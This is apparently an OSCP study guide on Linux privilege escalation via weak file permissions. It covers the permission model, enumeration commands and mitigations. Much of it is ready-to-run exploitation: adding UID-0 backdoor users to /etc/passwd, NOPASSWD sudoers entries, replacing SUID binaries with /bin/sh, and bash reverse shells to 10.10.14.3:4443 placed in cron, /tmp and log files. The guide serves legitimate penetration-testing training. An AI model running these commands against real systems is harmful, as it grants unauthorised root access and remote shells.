Weak File Permissions
Overview
Weak file permissions are arguably the most common and simplest privilege escalation vector on Linux systems. Misconfigured permissions allow low-privileged users to modify critical system files, inject malicious code, or directly escalate to root. On the OSCP exam, writable file privesc appears frequently — always check for it early in your enumeration.
Linux File Permission Model Deep Dive
Permission Bits Structure
Every file and directory in Linux has a set of permission bits controlled by three categories:
| Category | Description |
|---|---|
| Owner (User) | The user who owns the file |
| Group | Users belonging to the file’s group |
| Other (World) | All other users on the system |
Each category has three permission flags:
| Flag | Symbol | Meaning for Files | Meaning for Directories |
|---|---|---|---|
| Read | r |
View file contents | List directory contents |
| Write | w |
Modify file contents | Create/delete/rename files within |
| Execute | x |
Execute as program/script | Traverse/enter the directory |
Reading Permissions with ls -la
-rwxr-xr-- 1 root staff 4096 Sep 1 10:00 /etc/shadow
^^^^^^^^
| |||||||L-- Last permission bit (other: read)
| |||||+----- Second-to-last (other: no write)
| ||||+------ Third-to-last (other: no execute)
| |||+------- Group execute
| ||+-------- Group write
| |+--------- Group read
| +---------- Owner execute
+ ----------- Owner write
Owner read
The first character indicates the file type:
-= regular filed= directoryl= symbolic links= socketb/c= block/character device
Numeric Permission Representation
Permissions are expressed as three (or four) octal digits:
| Digit | Binary | Permissions | Meaning |
|---|---|---|---|
| 0 | 000 | --- |
No permissions |
| 1 | 001 | --x |
Execute only |
| 2 | 010 | -w- |
Write only |
| 3 | 011 | -wx |
Write + Execute |
| 4 | 100 | r-- |
Read only |
| 5 | 101 | r-x |
Read + Execute |
| 6 | 110 | rw- |
Read + Write |
| 7 | 111 | rwx |
Full permissions |
Common Permission Patterns
| Numeric | Symbolic | Typical Use | Risk Level |
|---|---|---|---|
777 |
rwxrwxrwx |
Everything open | CRITICAL |
666 |
rw-rw-rw- |
World-writable file | CRITICAL |
755 |
rwxr-xr-x |
Executables, directories | Normal |
644 |
rw-r--r-- |
Config files, scripts | Normal |
600 |
rw------- |
Sensitive files (ssh keys) | Secure |
700 |
rwx------ |
Private directories | Secure |
4755 |
rwsr-xr-x |
SUID binary | Check for abuse |
2755 |
rwxr-sr-x |
SGID binary | Check for abuse |
Special Permission Bits
| Bit | Symbol | Position | Description |
|---|---|---|---|
| SUID | s in owner execute |
4xxx | Runs with owner’s privileges |
| SGID | s in group execute |
2xxx | Runs with group’s privileges |
| Sticky | t in other execute |
1xxx | Only owner can delete (e.g., /tmp) |
4755 = SUID + rwxr-xr-x
2755 = SGID + rwxr-xr-x
1777 = Sticky + rwxrwxrwx (like /tmp)
Finding Weak Permissions
World-Writable Files
# Find all world-writable files (exclude /proc and /sys)
find / -writable -type f 2>/dev/null
# More targeted search
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
# Find world-writable files not in /tmp
find / -writable -type f -not -path "/tmp/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
World-Writable Directories
# Find all world-writable directories
find / -writable -type d 2>/dev/null
# Find directories with 777 permissions
find / -perm 777 -type d 2>/dev/null
SUID/SGID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Find SUID/SGID binaries owned by root
find / -perm -4000 -o -perm -2000 2>/dev/null | xargs ls -la 2>/dev/null
Writable by Current User or Group
# Files writable by current user
find / -user $(whoami) -writable -type f 2>/dev/null
# Files writable by current group
find / -group $(id -gn) -writable -type f 2>/dev/null
Using perm with Specific Values
# Find files with exactly 666 permissions
find / -perm 666 -type f 2>/dev/null
# Find files with exactly 777 permissions
find / -perm 777 -type f 2>/dev/null
# Find files that are writable by "other"
find / -perm -o=w -type f 2>/dev/null
Exploiting Writable Critical Files
1. Writable /etc/passwd
The /etc/passwd file stores user account information. If writable, you can add a new root user.
Method A: Using openssl passwd
# Generate a password hash
openssl passwd -1 -salt oscp Hacked123
# Output: $1$oscp$X7Y8Z9aBcDeFgHiJkLmNo1
# Add a new root user (UID 0, GID 0)
echo 'oscpuser:$1$oscp$X7Y8Z9aBcDeFgHiJkLmNo1:0:0:oscp:/root:/bin/bash' >> /etc/passwd
# Switch to the new user
su oscpuser
# Password: Hacked123
Method B: Using a pre-generated hash
# Use a known hash (empty password trick)
echo 'backdoor::0:0::/root:/bin/bash' >> /etc/passwd
# Switch without password
su backdoor
Method C: Modifying existing user
# Change your UID to 0 in the passwd file
# Original: youruser:x:1001:1001::/home/youruser:/bin/bash
# Modified: youruser:x:0:0::/home/youruser:/bin/bash
2. Writable /etc/shadow
The shadow file stores password hashes. If writable:
# Generate a new hash
openssl passwd -1 -salt test Password123
# $1$test$aBcDeFgHiJkLmNoPqRsTu0
# Replace the hash for your user in /etc/shadow
# Or clear the hash entirely (no password login)
sed -i 's/youruser:[^:]*:/youruser::/' /etc/shadow
# Then switch
su youruser
# (press Enter for empty password)
3. Writable /etc/sudoers
If you can write to sudoers, you can grant yourself sudo access:
# Add your user with full sudo access
echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# Or add to /etc/sudoers.d/
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/youruser
# Then escalate
sudo -i
4. Writable Crontab Files
Cron runs scheduled tasks. If a root crontab is writable:
# Check root's crontab location
ls -la /var/spool/cron/crontabs/
# If writable, add a reverse shell
echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.3/4443 0>&1"' >> /var/spool/cron/crontabs/root
# Or write a shell script
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.3/4443 0>&1"' > /var/spool/cron/crontabs/root
Writable /etc/crontab
# Add a line to the system crontab
echo '* * * * * root /bin/bash -c "id > /tmp/privesc"' >> /etc/crontab
5. Writable SSH authorized_keys
If root’s authorized_keys is writable:
# Generate a key on your attacker machine
ssh-keygen -t rsa -b 2048 -f /tmp/oscp_key -N ""
# Add your public key to root's authorized_keys
cat /tmp/oscp_key.pub >> /root/.ssh/authorized_keys
# Connect as root
ssh -i /tmp/oscp_key root@<target_ip>
6. Writable Configuration Files
| File | Impact | Exploitation |
|---|---|---|
/etc/ssh/sshd_config |
SSH daemon config | Modify to allow root login, add your key |
/etc/crontab |
System cron | Add malicious cron entry |
/etc/apache2/apache2.conf |
Apache config | Add Include directive for web shell |
/etc/nginx/nginx.conf |
Nginx config | Add include for malicious config |
/etc/pam.d/common-* |
PAM config | Disable authentication checks |
/etc/login.defs |
Login defaults | Modify UID/GID restrictions |
/etc/security/access.conf |
Access control | Bypass login restrictions |
Writable SUID/SGID Binaries
Writable SUID Binary
If a SUID binary is writable, replace it with a copy of /bin/sh:
# Find writable SUID binaries
find / -perm -4000 -writable -type f 2>/dev/null
# If found, replace it
cp /bin/sh /path/to/writable/suid/binary
# Execute it to get root
/path/to/writable/suid/binary
Writable SGID Binary
Similar approach for SGID binaries:
# Find writable SGID binaries
find / -perm -2000 -writable -type f 2>/dev/null
# Replace and execute
cp /bin/sh /path/to/writable/sgid/binary
/path/to/writable/sgid/binary
/tmp Directory Abuse
SUID Binaries in /tmp
Some applications store temporary SUID binaries in /tmp. If you can write to /tmp:
# Check for SUID binaries in /tmp
find /tmp -perm -4000 -type f 2>/dev/null
# If a script creates a SUID binary in /tmp, replace it
echo '#!/bin/bash' > /tmp/vulnerable_binary
echo '/bin/bash -p' >> /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
Script Injection in /tmp
If a root script sources files from /tmp:
# Create a malicious script
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.3/4443 0>&1"' > /tmp/malicious.sh
chmod +x /tmp/malicious.sh
Log File Abuse
Some applications source or execute log files. If a log file is writable:
# Check if log files are writable
ls -la /var/log/
# If a log file gets sourced by root, inject commands
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.3/4443 0>&1"' >> /var/log/vulnerable_app.log
Backup Files with Credentials
Backup files often contain sensitive data with weak permissions:
# Find backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.orig" -o -name "*~" -o -name "*.swp" 2>/dev/null
# Common backup extensions
find / -name "*.backup" -o -name "*.bkp" -o -name "*.save" -o -name "*.tmp" 2>/dev/null
# Check for credentials in backup files
cat /path/to/config.bak
cat /path/to/database.sql.bak
| Extension | Description |
|---|---|
.bak |
General backup |
.old |
Old version of file |
.orig |
Original file (before edit) |
~ |
Editor backup (vi/vim) |
.swp |
Vim swap file |
.save |
Saved version |
.bkp |
Backup file |
.sql |
Database dump (may contain creds) |
Detection Summary
| Target | Command |
|---|---|
| World-writable files | find / -writable -type f 2>/dev/null |
| World-writable dirs | find / -writable -type d 2>/dev/null |
| SUID binaries | find / -perm -4000 -type f 2>/dev/null |
| SGID binaries | find / -perm -2000 -type f 2>/dev/null |
| Writable SUID | find / -perm -4000 -writable -type f 2>/dev/null |
| User-writable files | find / -user $(whoami) -writable 2>/dev/null |
| Backup files | find / -name "*.bak" -o -name "*.old" 2>/dev/null |
| 777 permissions | find / -perm 777 2>/dev/null |
| 666 permissions | find / -perm 666 2>/dev/null |
Mitigation
Proper Permissions
# Set correct permissions on critical files
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chmod 440 /etc/sudoers
chmod 600 /root/.ssh/authorized_keys
# Remove world-writable permissions
chmod o-w /path/to/file
chmod 755 /path/to/directory
Immutable Flag
# Make a file immutable (cannot be modified even by root without removing flag)
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
# Verify
lsattr /etc/passwd
# Remove immutable flag
chattr -i /etc/passwd
Directory Protection
# Set sticky bit on shared directories
chmod +t /shared_dir
# Restrict directory access
chmod 750 /sensitive_dir
OSCP Exam Tips
- Always check for writable files first — this is the simplest privesc vector
- Run the find commands early in your Linux enumeration
- Check
/etc/passwdand/etc/shadowpermissions — often overlooked - Look for writable SUID binaries — instant root if found
- Check crontab files —
/var/spool/cron/crontabs/often has weak permissions - Don’t ignore backup files — they may contain credentials for other users
- Check
/tmpthoroughly — scripts and SUID binaries may be created there - Use
linpeas— it automates all these checks for you - When you find a writable file, think about what process writes to it and as what user
- Remember: writable ≠ exploitable — you need a process to execute or source the modified file
Quick Reference Cheat Sheet
# === ENUMERATION ===
find / -writable -type f 2>/dev/null # Writable files
find / -writable -type d 2>/dev/null # Writable dirs
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
find / -perm -4000 -writable -type f 2>/dev/null # Writable SUID
find / -name "*.bak" -o -name "*.old" 2>/dev/null # Backup files
# === EXPLOITATION ===
echo 'user:$1$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd # Add root user
echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers # Sudo access
cp /bin/sh /path/to/suid/binary # Replace SUID
echo '* * * * * /bin/bash -i >& /dev/tcp/IP/PORT 0>&1' >> crontab # Cron shell
# === MITIGATION ===
chmod 644 /etc/passwd # Fix permissions
chattr +i /etc/shadow # Immutable flag
Practice Scenarios
Scenario 1: Writable /etc/crontab
# You discover:
-rw-rw-rw- 1 root root 456 Sep 1 10:00 /etc/crontab
# Exploit:
echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.14.3/4443 0>&1"' >> /etc/crontab
# Wait up to 1 minute for cron to execute
Scenario 2: Writable SUID Binary
# You discover:
-rwsrwxrwx 1 root root 12345 Sep 1 10:00 /usr/local/bin/custom_app
# Exploit:
cp /bin/sh /usr/local/bin/custom_app
/usr/local/bin/custom_app
# You now have root shell
Scenario 3: Writable /etc/passwd
# You discover:
-rw-rw-rw- 1 root root 1234 Sep 1 10:00 /etc/passwd
# Exploit:
openssl passwd -1 -salt abc P@ssw0rd
# $1$abc$xYzAbCdEfGhIjKlMnOpQr0
echo 'hacker:$1$abc$xYzAbCdEfGhIjKlMnOpQr0:0:0::/root:/bin/bash' >> /etc/passwd
su hacker
# Password: P@ssw0rd
# You are now root